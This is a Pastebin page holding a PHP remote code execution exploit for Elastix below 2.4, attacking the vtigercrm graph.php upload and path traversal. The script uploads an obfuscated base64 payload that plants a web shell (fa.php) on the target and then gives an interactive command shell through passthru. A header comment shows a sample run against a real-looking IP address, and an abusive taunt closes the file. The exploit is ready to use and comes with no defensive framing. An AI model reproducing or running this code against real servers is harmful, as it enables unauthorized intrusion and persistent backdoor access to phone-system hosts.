i-Hmx

Elastix 2.3 , Remote Code Injection Exploit

Jan 3rd, 2013
1,453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.77 KB | None | 0 0
  1. <?
  2. /*
  3. Exploit Title : Elastix 2.3 , Remote Command Execution Exploit
  4. Google Dork : WTF!!!!
  5. Version: Elastix All versions below 2.3 , Newer versions maybe affected as well ;)
  6. Tested on: CentOS
  7. CVE : notyet
  8. Download Vuln software : elastix.org
  9. Author : Faris AKA i-Hmx
  10. Home : sec4ever.com , 1337s.cc
  11.  
  12. PhoeniX# php elastix.php
  13. +-------------------------------------------+
  14. |               Elastix < 2.4               |
  15. |         PHP Code Injection Exploit        |
  16. |                  By i-Hmx                 |
  17. |                sec4ever.com               |
  18. |             [email protected]             |
  19. +-------------------------------------------+
  20.  
  21. | Enter Target [https://ip] # https://186.149.111.169
  22. | Injecting 1st payload
  23. | Injecting 2nd payload
  24. | Testing total payload
  25. | Sending CMD test package
  26. | sec4ever shell online ;)
  27.  
  28. uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
  29.  
  30.  
  31. */
  32. echo "\n+-------------------------------------------+\n";
  33. echo "|               Elastix < 2.4               |\n";
  34. echo "|         PHP Code Injection Exploit        |\n";
  35. echo "|                  By i-Hmx                 |\n";
  36. echo "|                sec4ever.com               |\n";
  37. echo "|             [email protected]             |\n";
  38. echo "+-------------------------------------------+\n";
  39. echo "\n| Enter Target [https://ip] # ";
  40. $target=trim(fgets(STDIN));
  41. $inj='<?eval(base64_decode("JGY9Zm9wZW4oJ2ZhLnBocCcsJ3crJyk7JGRhdGE9Jzw/IGVjaG8gIkZhcmlzIG9uIHRoZSBtaWMgOkQ8YnI+LS0tLS0tLS0tLS0tLS0tLS0iO0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW2ZhXSkpO2VjaG8gIi0tLS0tLS0tLS0tLS0tLS0tIjsgPz4nO2Z3cml0ZSgkZiwkZGF0YSk7ZWNobyAiZG9uZSI7Cg==")); ?>';
  42. $faf=fopen("fa.txt","w+");
  43. fwrite($faf,$inj);
  44. fclose($faf);
  45. $myf='fa.txt';
  46. $url = $target."/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate"; // URL
  47. $reffer = "http://1337s.cc/index.php";
  48. $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)";
  49. $cookie_file_path = "/";
  50. echo "| Injecting 1st payload\n";
  51. $ch = curl_init();
  52. curl_setopt($ch, CURLOPT_URL, $url);
  53. curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  54. curl_setopt($ch, CURLOPT_POST, 1);
  55. curl_setopt($ch, CURLOPT_POSTFIELDS,array("binFile"=>"@".realpath($myf)));
  56. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  57. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  58. curl_setopt($ch, CURLOPT_REFERER, $reffer);
  59. curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
  60. curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
  61. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  62. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  63. $result = curl_exec($ch);
  64. curl_close($ch);
  65. if(!eregi('<body onload=set_focus()',$result))
  66. {
  67. die("[+] Exploitation Failed\n");
  68. }
  69. echo "| Injecting 2nd payload\n";
  70. function faget($url,$post){
  71. $curl=curl_init();
  72. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  73. curl_setopt($curl,CURLOPT_URL,$url);
  74. curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
  75. curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
  76. curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
  77. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  78. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  79. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
  80. curl_setopt($curl,CURLOPT_TIMEOUT,20);
  81. curl_setopt($curl, CURLOPT_HEADER, true);
  82. $exec=curl_exec($curl);
  83. curl_close($curl);
  84. return $exec;
  85. }
  86. function kastr($string, $start, $end){
  87.         $string = " ".$string;
  88.         $ini = strpos($string,$start);
  89.         if ($ini == 0) return "";
  90.         $ini += strlen($start);
  91.         $len = strpos($string,$end,$ini) - $ini;
  92.         return substr($string,$ini,$len);
  93. }
  94. $me=faget($target."/vtigercrm/graph.php?module=../test/upload&action=fa.txt%00","");
  95. if(!eregi("done",$me))
  96. {
  97. die("[+] Exploitation Failed\n");
  98. }
  99. echo "| Testing total payload\n";
  100. $total=faget($target."/vtigercrm/fa.php","");
  101. if(!eregi("Faris on the mic :D",$total))
  102. {
  103. die("[+] Exploitation Failed\n");
  104. }
  105. echo "| Sending CMD test package\n";
  106. $cmd=faget($target."/vtigercrm/fa.php","fa=cGFzc3RocnUoJ2VjaG8gZmFyc2F3eScpOw==");
  107. if(!eregi("farsawy",$cmd))
  108. {
  109. echo "   + Cmd couldn't executed but we can evaluate php code\n   + use : $target//vtigercrm/fa.php\n   Post : fa=base64code\n";
  110. }
  111. echo "| sec4ever shell online ;)\n\n";
  112. $host=str_replace('https://','',$target);
  113. while(1){
  114. echo "i-Hmx@$host# ";
  115. $c=trim(fgets(STDIN));
  116. if($c=='exit'){die("[+] Terminating\n");}
  117. $payload=base64_encode("passthru('$c');");
  118. $fuck=faget($target."/vtigercrm/fa.php","fa=$payload");
  119. $done=kastr($fuck,"-----------------","-----------------");
  120. echo "$done\n";
  121. }
  122. /*
  123. /*
  124. NP : Trace my logs very well bit#*z , Next time i will log deeeeeeep in your A$$es ;)
  125.      Enjoy the song : http://www.youtube.com/watch?v=d-ELnDPmI8w
  126.      keep in Your skiddy minds , "I Ain't Mad At Cha"
  127.      < Faris , The Awsome xD >
  128. */
  129. ?>
Add Comment
Please, Sign In to add comment